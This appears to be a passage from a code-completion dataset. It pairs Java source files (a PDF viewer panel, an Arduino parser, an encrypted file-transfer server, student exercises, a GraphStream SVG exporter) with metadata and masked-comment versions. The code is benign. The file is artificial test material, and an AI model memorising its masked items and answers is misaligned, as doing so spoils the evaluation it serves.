wholePage=new Rectangle(0,0,(int) _page.getWidth(),(int) _page.getHeight()); } //wholePage=new Rectangle(0,0,(int) _page.getHeight(),(int) _page.getWidth()); //Fixed: HIER MOETEN WE IETS MEE (MET ROTATIE, LANDSCAPE, ETC.). if (_fit==PAGE_FIT_NONE) { int w,h; if (_page.getRotation()==90) { w=(int) Math.round(getImageHeight()*_zoom); h=(int) Math.round(getImageWidth()*_zoom); } else { w=(int) Math.round(getImageWidth()*_zoom); h=(int) Math.round(getImageHeight()*_zoom); } _img=_page.getImage(w, h, wholePage, null, true, true); _ww=_img; } else if (_fit==PAGE_FIT_WIDTH) { int w=_panelSize.width; int h=(int) (w/_page.getAspectRatio()); _zoom=((double) w)/wholePage.getWidth()/DPIAdjuster.pointsToScreenFactor(); _img=_page.getImage(w, h, wholePage, null,true,true); _ww=_img; } else { int h=_panelSize.height; int w=(int) (h*_page.getAspectRatio()); _zoom=((double) h)/wholePage.getHeight()/DPIAdjuster.pointsToScreenFactor();; _img=_page.getImage(w, h, wholePage, null,true,true); _ww=_img; } } return "done"; } protected void done() { if (_ww!=null) { Dimension d=new Dimension(_ww.getWidth(null),_ww.getHeight(null)); _image.setSize(d); _image.setPreferredSize(d); PdfPagePanel.this.setViewportView(_image); if (_zoomListener!=null) { _zoomListener.zoomed(_zoom); } } } public worker() { _panelSize=PdfPagePanel.this.getViewport().getExtentSize(); } }; worker w=new worker(); w.execute(); } public void zoomFitWidth(ZoomListener l) { _fit=PAGE_FIT_WIDTH; _zoomListener=l; doIt(); } public void zoomFitHeight(ZoomListener l) { _fit=PAGE_FIT_HEIGHT; _zoomListener=l; doIt(); } public void zoomFitNone(double zoom) { _fit=PAGE_FIT_NONE; _zoom=zoom; _zoomListener=null; doIt(); } public void setScrollUnitIncrement(int points) { super.getVerticalScrollBar().setUnitIncrement(points); } public int getScrollUnitIncrement() { return super.getVerticalScrollBar().getUnitIncrement(); } public PdfPagePanel(PageFormat f) { super(ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS,ScrollPaneConstants.HORIZONTAL_SCROLLBAR_ALWAYS); _pageFormat=f; _img=null; _image=new JImagePanel(); super.setViewportView(_image); _listeners=new HashSet<ActionListener>(); setScrollUnitIncrement(16); this.addComponentListener(new ComponentListener() { public void componentResized(ComponentEvent evt) { doIt(); } public void componentHidden(ComponentEvent arg0) { } public void componentMoved(ComponentEvent arg0) { } public void componentShown(ComponentEvent arg0) { } }); } }
False
1,846
16
2,229
18
2,240
17
2,229
18
2,908
22
false
false
false
false
false
true
2,204
33841_2
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package biometricstationjava; /** * * @author Jelle */ public class ArduinoParser { private static final int ARRAYSIZE = 5; private int heartbeat = 0; private double temperature = 0.0; private double acc_X = 0.0; private double acc_Y = 0.0; private double acc_Z = 0.0; public ArduinoParser() { } public SensorData parse(String dataString) { String[] data = dataString.split(";"); if (!isValidStringArray(data)) { System.out.println("check data, something wrong has happened!"); return null; } temperature = Double.parseDouble(data[0]); heartbeat = Integer.parseInt(data[1]); acc_X = Double.parseDouble(data[2]); acc_Y = Double.parseDouble(data[3]); acc_Z = Double.parseDouble(data[4]); return new SensorData(temperature, heartbeat, acc_X, acc_Y, acc_Z); } public boolean isValidStringArray(String[] data) { boolean valid = true; for (int i = 0; i < data.length && valid == true; i++) { if (data[i].isEmpty()) { valid = false; } } return valid && data.length == ARRAYSIZE; //Krijgt niet altijd de juiste data door. } }
bbt-oop2-2018/biometric-station-java-service-jelledebuyzere_elisedesmet
BiometricStationJava/src/biometricstationjava/ArduinoParser.java
416
//Krijgt niet altijd de juiste data door.
line_comment
nl
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package biometricstationjava; /** * * @author Jelle */ public class ArduinoParser { private static final int ARRAYSIZE = 5; private int heartbeat = 0; private double temperature = 0.0; private double acc_X = 0.0; private double acc_Y = 0.0; private double acc_Z = 0.0; public ArduinoParser() { } public SensorData parse(String dataString) { String[] data = dataString.split(";"); if (!isValidStringArray(data)) { System.out.println("check data, something wrong has happened!"); return null; } temperature = Double.parseDouble(data[0]); heartbeat = Integer.parseInt(data[1]); acc_X = Double.parseDouble(data[2]); acc_Y = Double.parseDouble(data[3]); acc_Z = Double.parseDouble(data[4]); return new SensorData(temperature, heartbeat, acc_X, acc_Y, acc_Z); } public boolean isValidStringArray(String[] data) { boolean valid = true; for (int i = 0; i < data.length && valid == true; i++) { if (data[i].isEmpty()) { valid = false; } } return valid && data.length == ARRAYSIZE; //Krijgt niet<SUF> } }
True
325
12
366
14
391
11
366
14
423
13
false
false
false
false
false
true
126
76888_1
import javax.crypto.BadPaddingException; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; import java.io.*; import java.net.ServerSocket; import java.net.Socket; import java.security.InvalidKeyException; import java.security.Key; import java.security.KeyFactory; import java.security.NoSuchAlgorithmException; import java.security.spec.InvalidKeySpecException; import java.security.spec.X509EncodedKeySpec; import java.util.zip.ZipEntry; import java.util.zip.ZipInputStream; /** * Created by 11302014 on 4/05/2015. */ public class FServer implements Runnable { private Key myPrivateKey = null; private Key myPublicKey = null; FDecryptor fDecryptor = null; public FServer(Key myPrivateKey, Key myPublicKey) throws NoSuchAlgorithmException, NoSuchPaddingException { this.myPrivateKey = myPrivateKey; this.myPublicKey = myPublicKey; this.fDecryptor = new FDecryptor(); } public void start() { Thread buf = new Thread(this); buf.start(); } @Override public void run() { try { ServerSocket bigSocket = new ServerSocket(FClient.port); while (true) { Socket smallSocket = bigSocket.accept(); OutputStream output = smallSocket.getOutputStream(); InputStream input = smallSocket.getInputStream(); Key otherPublicKey = null; byte[] buffer = new byte[1024*1024]; int bytesReceived = 0; //versturen van public key System.out.println("Server: start versturen publickey..." + myPublicKey.getEncoded().length); output.write(myPublicKey.getEncoded()); output.flush(); //ontvangen van public key System.out.println("Server: start ontvangen publickey..."); while((bytesReceived = input.read(buffer))>0) { KeyFactory kf = KeyFactory.getInstance("RSA"); otherPublicKey = kf.generatePublic(new X509EncodedKeySpec(buffer)); System.out.println(bytesReceived); break; } FileOutputStream out = new FileOutputStream("buf.enc"); //ontvangen van file System.out.println("Server: start ontvangen file..."); while((bytesReceived = input.read(buffer))>0) { out.write(buffer,0,bytesReceived); System.out.println(bytesReceived); break; } out.flush(); out.close(); input.close(); smallSocket.close(); //buf file lezen System.out.println("Server: file lezen..."); FTotalPacket received = FTotalPacket.readEncBuf(); //file decrypteren System.out.println("Server: file decrypteren..."); byte[] unencryptedFile = fDecryptor.decrypt(received, myPrivateKey, otherPublicKey); //file weg schrijven System.out.println("Server: gedecrypte file wegschrijven"); /// save file dialog waar de nieuwe file moet komen FTotalPacket.writeFile(unencryptedFile, received.getName()); //als.zip decrypten System.out.println("Server: Zipfile uitpakken..."); unzip(received.getName()); System.out.println("Server: Done!"); } } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (IllegalBlockSizeException e) { e.printStackTrace(); } catch (InvalidKeyException e) { e.printStackTrace(); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } catch (BadPaddingException e) { e.printStackTrace(); } catch (InvalidKeySpecException e) { e.printStackTrace(); } } private void unzip (String zipFile) { byte[] buffer = new byte[1024]; File folder = new File (""); if (!folder.exists()) { folder.mkdir(); } try { ZipInputStream zis = new ZipInputStream(new FileInputStream(zipFile)); ZipEntry ze = zis.getNextEntry(); while (ze!=null) { String fileName = ze.getName(); System.out.println(ze.getName()); File newFile = new File(fileName); new File (newFile.getParent()).mkdirs(); FileOutputStream fos = new FileOutputStream(newFile.getName()); int len; while ((len = zis.read(buffer))>0) { fos.write(buffer,0,len); } fos.close(); ze = zis.getNextEntry(); } zis.closeEntry(); zis.close(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } }
AppDev10/BasicSecurityAppDev10
src/main/java/FServer.java
1,388
//versturen van public key
line_comment
nl
import javax.crypto.BadPaddingException; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; import java.io.*; import java.net.ServerSocket; import java.net.Socket; import java.security.InvalidKeyException; import java.security.Key; import java.security.KeyFactory; import java.security.NoSuchAlgorithmException; import java.security.spec.InvalidKeySpecException; import java.security.spec.X509EncodedKeySpec; import java.util.zip.ZipEntry; import java.util.zip.ZipInputStream; /** * Created by 11302014 on 4/05/2015. */ public class FServer implements Runnable { private Key myPrivateKey = null; private Key myPublicKey = null; FDecryptor fDecryptor = null; public FServer(Key myPrivateKey, Key myPublicKey) throws NoSuchAlgorithmException, NoSuchPaddingException { this.myPrivateKey = myPrivateKey; this.myPublicKey = myPublicKey; this.fDecryptor = new FDecryptor(); } public void start() { Thread buf = new Thread(this); buf.start(); } @Override public void run() { try { ServerSocket bigSocket = new ServerSocket(FClient.port); while (true) { Socket smallSocket = bigSocket.accept(); OutputStream output = smallSocket.getOutputStream(); InputStream input = smallSocket.getInputStream(); Key otherPublicKey = null; byte[] buffer = new byte[1024*1024]; int bytesReceived = 0; //versturen van<SUF> System.out.println("Server: start versturen publickey..." + myPublicKey.getEncoded().length); output.write(myPublicKey.getEncoded()); output.flush(); //ontvangen van public key System.out.println("Server: start ontvangen publickey..."); while((bytesReceived = input.read(buffer))>0) { KeyFactory kf = KeyFactory.getInstance("RSA"); otherPublicKey = kf.generatePublic(new X509EncodedKeySpec(buffer)); System.out.println(bytesReceived); break; } FileOutputStream out = new FileOutputStream("buf.enc"); //ontvangen van file System.out.println("Server: start ontvangen file..."); while((bytesReceived = input.read(buffer))>0) { out.write(buffer,0,bytesReceived); System.out.println(bytesReceived); break; } out.flush(); out.close(); input.close(); smallSocket.close(); //buf file lezen System.out.println("Server: file lezen..."); FTotalPacket received = FTotalPacket.readEncBuf(); //file decrypteren System.out.println("Server: file decrypteren..."); byte[] unencryptedFile = fDecryptor.decrypt(received, myPrivateKey, otherPublicKey); //file weg schrijven System.out.println("Server: gedecrypte file wegschrijven"); /// save file dialog waar de nieuwe file moet komen FTotalPacket.writeFile(unencryptedFile, received.getName()); //als.zip decrypten System.out.println("Server: Zipfile uitpakken..."); unzip(received.getName()); System.out.println("Server: Done!"); } } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (IllegalBlockSizeException e) { e.printStackTrace(); } catch (InvalidKeyException e) { e.printStackTrace(); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } catch (BadPaddingException e) { e.printStackTrace(); } catch (InvalidKeySpecException e) { e.printStackTrace(); } } private void unzip (String zipFile) { byte[] buffer = new byte[1024]; File folder = new File (""); if (!folder.exists()) { folder.mkdir(); } try { ZipInputStream zis = new ZipInputStream(new FileInputStream(zipFile)); ZipEntry ze = zis.getNextEntry(); while (ze!=null) { String fileName = ze.getName(); System.out.println(ze.getName()); File newFile = new File(fileName); new File (newFile.getParent()).mkdirs(); FileOutputStream fos = new FileOutputStream(newFile.getName()); int len; while ((len = zis.read(buffer))>0) { fos.write(buffer,0,len); } fos.close(); ze = zis.getNextEntry(); } zis.closeEntry(); zis.close(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } }
True
970
7
1,121
7
1,196
7
1,121
7
1,366
7
false
false
false
false
false
true
2,650
125361_0
public class DogOwnerMain { /* Opdracht Geef de klasse Dog de volgende instance variables: name, species, age, sex. Datatypes mag je zelf verzinnen. De sex en species variables mogen na instantiatie niet meer aangepast worden. Geef de klasse DogOwner de volgende instance variables: name, sex. Er zijn geen restricties op getters en setters. Programmeer de volgende relatie: Een DogOwner kan maximaal 1 Dog hebben. De DogOwner is in dit geval de eigenaar. De DogOwner-klasse moet methodes bevatten om de naam van de hond aan te passen én de leeftijd met 1 te verhogen. Geef de DogOwner een toString()-methode en druk dit af: NAAM-DogOwner heeft een reu/teef, deze is xx jaar oud en van het soort: SOORT-Dog. De hond heet: NAAM-Dog Instantieer hieronder de objecten en laat zien dat je code werkt. */ public static void main(String[] args) { Dog dog = new Dog("Barra", "vuilnisbak", 12, "teef"); DogOwner nick = new DogOwner("Nick", "male"); nick.setDog(dog); System.out.println(nick.toString()); } }
elwyn-de-neve/dog-owner-app
src/DogOwnerMain.java
338
/* Opdracht Geef de klasse Dog de volgende instance variables: name, species, age, sex. Datatypes mag je zelf verzinnen. De sex en species variables mogen na instantiatie niet meer aangepast worden. Geef de klasse DogOwner de volgende instance variables: name, sex. Er zijn geen restricties op getters en setters. Programmeer de volgende relatie: Een DogOwner kan maximaal 1 Dog hebben. De DogOwner is in dit geval de eigenaar. De DogOwner-klasse moet methodes bevatten om de naam van de hond aan te passen én de leeftijd met 1 te verhogen. Geef de DogOwner een toString()-methode en druk dit af: NAAM-DogOwner heeft een reu/teef, deze is xx jaar oud en van het soort: SOORT-Dog. De hond heet: NAAM-Dog Instantieer hieronder de objecten en laat zien dat je code werkt. */
block_comment
nl
public class DogOwnerMain { /* Opdracht <SUF>*/ public static void main(String[] args) { Dog dog = new Dog("Barra", "vuilnisbak", 12, "teef"); DogOwner nick = new DogOwner("Nick", "male"); nick.setDog(dog); System.out.println(nick.toString()); } }
False
304
231
328
247
300
214
328
247
353
256
true
true
true
true
true
false
1,971
84245_5
import java.util.Map; import java.util.HashMap; import java.util.Scanner; /** * Practicum 3: BSA calculator * Dit programma vertelt een gebruiker hun BSA aan de hand van ingevoerde cijfers. * * @author Aetheryx */ public class Main { // Declareer alle vakken met het bijbehorend aantal studiepunten private static final Map<String, Integer> /* <Vak, Studiepunten> */ VAKKEN = Map.of( "Fasten Your Seatbelts", 12, "Programming", 3, "Databases", 3, "Object Oriented Programming 1", 3, "User Interaction", 3, "Personal Skills", 2, "Project Skills", 2 ); // Het maximaal aantal haalbare studiepunten (met opzet dynamisch berekend) private static final int MAX_AANTAL_STUDIEPUNTEN = VAKKEN .values() .stream() .mapToInt(Integer::intValue) .sum(); // De barriere voor een positief BSA private static final double BARRIERE_POSITIEF_BSA = (double) 5 / 6; public static void main(String[] args) { Scanner scanner = new Scanner(System.in); HashMap<String, Double> behaaldeCijfers = new HashMap<String, Double>(); int totaalBehaaldeStudiepunten = 0; System.out.println("Voer behaalde cijfers in:"); // Itereer over de vakken, vraag en sla het cijfer op for (String vakNaam : VAKKEN.keySet()) { System.out.print(vakNaam + ": "); double behaaldCijfer = scanner.nextDouble(); behaaldeCijfers.put(vakNaam, behaaldCijfer); } // lege regel System.out.println(); // Bereken voor elk vak het aantal studiepunten, tel het op bij het totaal, print de informatie uit for (String vakNaam : VAKKEN.keySet()) { double behaaldCijfer = behaaldeCijfers.get(vakNaam); double behaaldeStudiepunten = behaaldCijfer >= 5.5 ? VAKKEN.get(vakNaam) : 0; totaalBehaaldeStudiepunten += behaaldeStudiepunten; System.out.printf( "Vak/project: %-30s Cijfer: %-6.1f Behaalde punten: %.0f\n", vakNaam, behaaldCijfer, behaaldeStudiepunten ); } System.out.printf("\nTotaal behaalde studiepunten: %d/%d\n", totaalBehaaldeStudiepunten, MAX_AANTAL_STUDIEPUNTEN); // Het ratio van aantal behaalde studiepunten : maximaal haalbare studiepunten double studiePuntenRatio = (double) totaalBehaaldeStudiepunten / MAX_AANTAL_STUDIEPUNTEN; System.out.println( studiePuntenRatio >= BARRIERE_POSITIEF_BSA ? "Je loopt op schema voor een positief BSA." : "PAS OP: je ligt op schema voor een negatief BSA!" ); } }
aetheryx/edu
software-engineering/programming/practicum/3: BSA Monitor/Main.java
942
// Bereken voor elk vak het aantal studiepunten, tel het op bij het totaal, print de informatie uit
line_comment
nl
import java.util.Map; import java.util.HashMap; import java.util.Scanner; /** * Practicum 3: BSA calculator * Dit programma vertelt een gebruiker hun BSA aan de hand van ingevoerde cijfers. * * @author Aetheryx */ public class Main { // Declareer alle vakken met het bijbehorend aantal studiepunten private static final Map<String, Integer> /* <Vak, Studiepunten> */ VAKKEN = Map.of( "Fasten Your Seatbelts", 12, "Programming", 3, "Databases", 3, "Object Oriented Programming 1", 3, "User Interaction", 3, "Personal Skills", 2, "Project Skills", 2 ); // Het maximaal aantal haalbare studiepunten (met opzet dynamisch berekend) private static final int MAX_AANTAL_STUDIEPUNTEN = VAKKEN .values() .stream() .mapToInt(Integer::intValue) .sum(); // De barriere voor een positief BSA private static final double BARRIERE_POSITIEF_BSA = (double) 5 / 6; public static void main(String[] args) { Scanner scanner = new Scanner(System.in); HashMap<String, Double> behaaldeCijfers = new HashMap<String, Double>(); int totaalBehaaldeStudiepunten = 0; System.out.println("Voer behaalde cijfers in:"); // Itereer over de vakken, vraag en sla het cijfer op for (String vakNaam : VAKKEN.keySet()) { System.out.print(vakNaam + ": "); double behaaldCijfer = scanner.nextDouble(); behaaldeCijfers.put(vakNaam, behaaldCijfer); } // lege regel System.out.println(); // Bereken voor<SUF> for (String vakNaam : VAKKEN.keySet()) { double behaaldCijfer = behaaldeCijfers.get(vakNaam); double behaaldeStudiepunten = behaaldCijfer >= 5.5 ? VAKKEN.get(vakNaam) : 0; totaalBehaaldeStudiepunten += behaaldeStudiepunten; System.out.printf( "Vak/project: %-30s Cijfer: %-6.1f Behaalde punten: %.0f\n", vakNaam, behaaldCijfer, behaaldeStudiepunten ); } System.out.printf("\nTotaal behaalde studiepunten: %d/%d\n", totaalBehaaldeStudiepunten, MAX_AANTAL_STUDIEPUNTEN); // Het ratio van aantal behaalde studiepunten : maximaal haalbare studiepunten double studiePuntenRatio = (double) totaalBehaaldeStudiepunten / MAX_AANTAL_STUDIEPUNTEN; System.out.println( studiePuntenRatio >= BARRIERE_POSITIEF_BSA ? "Je loopt op schema voor een positief BSA." : "PAS OP: je ligt op schema voor een negatief BSA!" ); } }
True
805
25
935
30
796
23
935
30
1,056
30
false
false
false
false
false
true
2,860
159398_4
/* * This file is part of GraphStream <http://graphstream-project.org>. * * GraphStream is a library whose purpose is to handle static or dynamic * graph, create them from scratch, file or any source and display them. * * This program is free software distributed under the terms of two licenses, the * CeCILL-C license that fits European law, and the GNU Lesser General Public * License. You can use, modify and/ or redistribute the software under the terms * of the CeCILL-C license as circulated by CEA, CNRS and INRIA at the following * URL <http://www.cecill.info> or under the terms of the GNU LGPL as published by * the Free Software Foundation, either version 3 of the License, or (at your * option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A * PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * The fact that you are presently reading this means that you have had * knowledge of the CeCILL-C and LGPL licenses and that you accept their terms. */ /** * @since 2009-05-11 * * @author Yoann Pigné <yoann.pigne@graphstream-project.org> * @author Antoine Dutot <antoine.dutot@graphstream-project.org> * @author Guilhelm Savin <guilhelm.savin@graphstream-project.org> * @author kitskub <kitskub@gmail.com> * @author Hicham Brahimi <hicham.brahimi@graphstream-project.org> */ package org.graphstream.stream.file; import java.io.IOException; import java.io.PrintWriter; import java.util.HashMap; import java.util.Iterator; import org.graphstream.ui.geom.Point3; import org.graphstream.ui.graphicGraph.stylesheet.Rule; import org.graphstream.ui.graphicGraph.stylesheet.StyleSheet; /** * Transforms a graph into a SVG description. * * <p> * Do not confuse this with the SVG export capabilities of the graph viewer. The * SVG export of the viewer provides the most exact copy of what you see on * screen. This class is made to export only nodes and edges without styling to * SVG. * </p> * * * <p> * Although there is no styling, each node and edge is put in a SVG group with * the identifier of the corresponding element in the graph. A minimal CSS style * sheet is included in the generated file and it is easy to add another. * </p> */ public class FileSinkUnstyledSVG extends FileSinkBase { // Attribute /** * The output. */ protected PrintWriter out; /** * What element ?. */ protected enum What { NODE, EDGE, OTHER }; /** * The positions of each node. */ protected HashMap<String, Point3> nodePos = new HashMap<String, Point3>(); // Construction public FileSinkUnstyledSVG() { // NOP. } // Command @Override public void end() throws IOException { if (out != null) { out.flush(); out.close(); out = null; } } // Command @Override protected void outputHeader() throws IOException { out = (PrintWriter) output; out.printf("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>%n"); out.printf("<svg" + " xmlns:svg=\"http://www.w3.org/2000/svg\"" + " width=\"100%%\"" + " height=\"100%%\"" + ">%n"); // TODO // outputStyle( styleSheet ); } @Override protected void outputEndOfFile() throws IOException { outputNodes(); out.printf("</svg>%n"); } public void edgeAttributeAdded(String graphId, long timeId, String edgeId, String attribute, Object value) { // NOP } public void edgeAttributeChanged(String graphId, long timeId, String edgeId, String attribute, Object oldValue, Object newValue) { // NOP } public void edgeAttributeRemoved(String graphId, long timeId, String edgeId, String attribute) { // NOP } public void graphAttributeAdded(String graphId, long timeId, String attribute, Object value) { // NOP } public void graphAttributeChanged(String graphId, long timeId, String attribute, Object oldValue, Object newValue) { // NOP } public void graphAttributeRemoved(String graphId, long timeId, String attribute) { // NOP } public void nodeAttributeAdded(String graphId, long timeId, String nodeId, String attribute, Object value) { setNodePos(nodeId, attribute, value); } public void nodeAttributeChanged(String graphId, long timeId, String nodeId, String attribute, Object oldValue, Object newValue) { setNodePos(nodeId, attribute, newValue); } public void nodeAttributeRemoved(String graphId, long timeId, String nodeId, String attribute) { // NOP } public void edgeAdded(String graphId, long timeId, String edgeId, String fromNodeId, String toNodeId, boolean directed) { Point3 p0 = nodePos.get(fromNodeId); Point3 p1 = nodePos.get(toNodeId); if (p0 != null && p1 != null) { out.printf(" <g id=\"%s\">%n", edgeId); out.printf(" <line x1=\"%f\" y1=\"%f\" x2=\"%f\" y2=\"%f\"/>%n", p0.x, p0.y, p1.x, p1.y); out.printf(" </g>%n"); } } public void edgeRemoved(String graphId, long timeId, String edgeId) { // NOP } public void graphCleared(String graphId, long timeId) { // NOP } public void nodeAdded(String graphId, long timeId, String nodeId) { nodePos.put(nodeId, new Point3()); } public void nodeRemoved(String graphId, long timeId, String nodeId) { nodePos.remove(nodeId); } public void stepBegins(String graphId, long timeId, double time) { // NOP } // Utility protected void setNodePos(String nodeId, String attribute, Object value) { Point3 p = nodePos.get(nodeId); double x, y, z; if (p == null) { x = Math.random(); y = Math.random(); z = 0; } else { x = p.x; y = p.y; z = p.z; } if (attribute.equals("x")) { if (value instanceof Number) x = ((Number) value).floatValue(); } else if (attribute.equals("y")) { if (value instanceof Number) y = ((Number) value).floatValue(); } else if (attribute.equals("z")) { if (value instanceof Number) z = ((Number) value).floatValue(); } else if (attribute.equals("xy")) { if (value instanceof Object[]) { Object xy[] = ((Object[]) value); if (xy.length > 1) { x = ((Number) xy[0]).floatValue(); y = ((Number) xy[1]).floatValue(); } } } else if (attribute.equals("xyz")) { if (value instanceof Object[]) { Object xyz[] = ((Object[]) value); if (xyz.length > 1) { x = ((Number) xyz[0]).floatValue(); y = ((Number) xyz[1]).floatValue(); } if (xyz.length > 2) { z = ((Number) xyz[2]).floatValue(); } } } nodePos.put(nodeId, new Point3(x, y, z)); } protected void outputStyle(String styleSheet) { String style = null; if (styleSheet != null) { StyleSheet ssheet = new StyleSheet(); try { if (styleSheet.startsWith("url(")) { styleSheet = styleSheet.substring(5); int pos = styleSheet.lastIndexOf(')'); styleSheet = styleSheet.substring(0, pos); ssheet.parseFromFile(styleSheet); } else { ssheet.parseFromString(styleSheet); } style = styleSheetToSVG(ssheet); } catch (IOException e) { e.printStackTrace(); ssheet = null; } } if (style == null) style = "circle { fill: grey; stroke: none; } line { stroke-width: 1; stroke: black; }"; out.printf("<defs><style type=\"text/css\"><![CDATA[%n"); out.printf(" %s%n", style); out.printf("]]></style></defs>%n"); } protected void outputNodes() { Iterator<? extends String> keys = nodePos.keySet().iterator(); while (keys.hasNext()) { String key = keys.next(); Point3 pos = nodePos.get(key); out.printf(" <g id=\"%s\">%n", key); out.printf(" <circle cx=\"%f\" cy=\"%f\" r=\"4\"/>%n", pos.x, pos.y); out.printf(" </g>%n"); } } protected String styleSheetToSVG(StyleSheet sheet) { StringBuilder out = new StringBuilder(); addRule(out, sheet.getDefaultGraphRule()); return out.toString(); } protected void addRule(StringBuilder out, Rule rule) { // Style style = rule.getStyle(); // TODO } }
graphstream/gs-core
src/org/graphstream/stream/file/FileSinkUnstyledSVG.java
2,723
/** * What element ?. */
block_comment
nl
/* * This file is part of GraphStream <http://graphstream-project.org>. * * GraphStream is a library whose purpose is to handle static or dynamic * graph, create them from scratch, file or any source and display them. * * This program is free software distributed under the terms of two licenses, the * CeCILL-C license that fits European law, and the GNU Lesser General Public * License. You can use, modify and/ or redistribute the software under the terms * of the CeCILL-C license as circulated by CEA, CNRS and INRIA at the following * URL <http://www.cecill.info> or under the terms of the GNU LGPL as published by * the Free Software Foundation, either version 3 of the License, or (at your * option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A * PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * The fact that you are presently reading this means that you have had * knowledge of the CeCILL-C and LGPL licenses and that you accept their terms. */ /** * @since 2009-05-11 * * @author Yoann Pigné <yoann.pigne@graphstream-project.org> * @author Antoine Dutot <antoine.dutot@graphstream-project.org> * @author Guilhelm Savin <guilhelm.savin@graphstream-project.org> * @author kitskub <kitskub@gmail.com> * @author Hicham Brahimi <hicham.brahimi@graphstream-project.org> */ package org.graphstream.stream.file; import java.io.IOException; import java.io.PrintWriter; import java.util.HashMap; import java.util.Iterator; import org.graphstream.ui.geom.Point3; import org.graphstream.ui.graphicGraph.stylesheet.Rule; import org.graphstream.ui.graphicGraph.stylesheet.StyleSheet; /** * Transforms a graph into a SVG description. * * <p> * Do not confuse this with the SVG export capabilities of the graph viewer. The * SVG export of the viewer provides the most exact copy of what you see on * screen. This class is made to export only nodes and edges without styling to * SVG. * </p> * * * <p> * Although there is no styling, each node and edge is put in a SVG group with * the identifier of the corresponding element in the graph. A minimal CSS style * sheet is included in the generated file and it is easy to add another. * </p> */ public class FileSinkUnstyledSVG extends FileSinkBase { // Attribute /** * The output. */ protected PrintWriter out; /** * What element ?.<SUF>*/ protected enum What { NODE, EDGE, OTHER }; /** * The positions of each node. */ protected HashMap<String, Point3> nodePos = new HashMap<String, Point3>(); // Construction public FileSinkUnstyledSVG() { // NOP. } // Command @Override public void end() throws IOException { if (out != null) { out.flush(); out.close(); out = null; } } // Command @Override protected void outputHeader() throws IOException { out = (PrintWriter) output; out.printf("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>%n"); out.printf("<svg" + " xmlns:svg=\"http://www.w3.org/2000/svg\"" + " width=\"100%%\"" + " height=\"100%%\"" + ">%n"); // TODO // outputStyle( styleSheet ); } @Override protected void outputEndOfFile() throws IOException { outputNodes(); out.printf("</svg>%n"); } public void edgeAttributeAdded(String graphId, long timeId, String edgeId, String attribute, Object value) { // NOP } public void edgeAttributeChanged(String graphId, long timeId, String edgeId, String attribute, Object oldValue, Object newValue) { // NOP } public void edgeAttributeRemoved(String graphId, long timeId, String edgeId, String attribute) { // NOP } public void graphAttributeAdded(String graphId, long timeId, String attribute, Object value) { // NOP } public void graphAttributeChanged(String graphId, long timeId, String attribute, Object oldValue, Object newValue) { // NOP } public void graphAttributeRemoved(String graphId, long timeId, String attribute) { // NOP } public void nodeAttributeAdded(String graphId, long timeId, String nodeId, String attribute, Object value) { setNodePos(nodeId, attribute, value); } public void nodeAttributeChanged(String graphId, long timeId, String nodeId, String attribute, Object oldValue, Object newValue) { setNodePos(nodeId, attribute, newValue); } public void nodeAttributeRemoved(String graphId, long timeId, String nodeId, String attribute) { // NOP } public void edgeAdded(String graphId, long timeId, String edgeId, String fromNodeId, String toNodeId, boolean directed) { Point3 p0 = nodePos.get(fromNodeId); Point3 p1 = nodePos.get(toNodeId); if (p0 != null && p1 != null) { out.printf(" <g id=\"%s\">%n", edgeId); out.printf(" <line x1=\"%f\" y1=\"%f\" x2=\"%f\" y2=\"%f\"/>%n", p0.x, p0.y, p1.x, p1.y); out.printf(" </g>%n"); } } public void edgeRemoved(String graphId, long timeId, String edgeId) { // NOP } public void graphCleared(String graphId, long timeId) { // NOP } public void nodeAdded(String graphId, long timeId, String nodeId) { nodePos.put(nodeId, new Point3()); } public void nodeRemoved(String graphId, long timeId, String nodeId) { nodePos.remove(nodeId); } public void stepBegins(String graphId, long timeId, double time) { // NOP } // Utility protected void setNodePos(String nodeId, String attribute, Object value) { Point3 p = nodePos.get(nodeId); double x, y, z; if (p == null) { x = Math.random(); y = Math.random(); z = 0; } else { x = p.x; y = p.y; z = p.z; } if (attribute.equals("x")) { if (value instanceof Number) x = ((Number) value).floatValue(); } else if (attribute.equals("y")) { if (value instanceof Number) y = ((Number) value).floatValue(); } else if (attribute.equals("z")) { if (value instanceof Number) z = ((Number) value).floatValue(); } else if (attribute.equals("xy")) { if (value instanceof Object[]) { Object xy[] = ((Object[]) value); if (xy.length > 1) { x = ((Number) xy[0]).floatValue(); y = ((Number) xy[1]).floatValue(); } } } else if (attribute.equals("xyz")) { if (value instanceof Object[]) { Object xyz[] = ((Object[]) value); if (xyz.length > 1) { x = ((Number) xyz[0]).floatValue(); y = ((Number) xyz[1]).floatValue(); } if (xyz.length > 2) { z = ((Number) xyz[2]).floatValue(); } } } nodePos.put(nodeId, new Point3(x, y, z)); } protected void outputStyle(String styleSheet) { String style = null; if (styleSheet != null) { StyleSheet ssheet = new StyleSheet(); try { if (styleSheet.startsWith("url(")) { styleSheet = styleSheet.substring(5); int pos = styleSheet.lastIndexOf(')'); styleSheet = styleSheet.substring(0, pos); ssheet.parseFromFile(styleSheet); } else { ssheet.parseFromString(styleSheet); } style 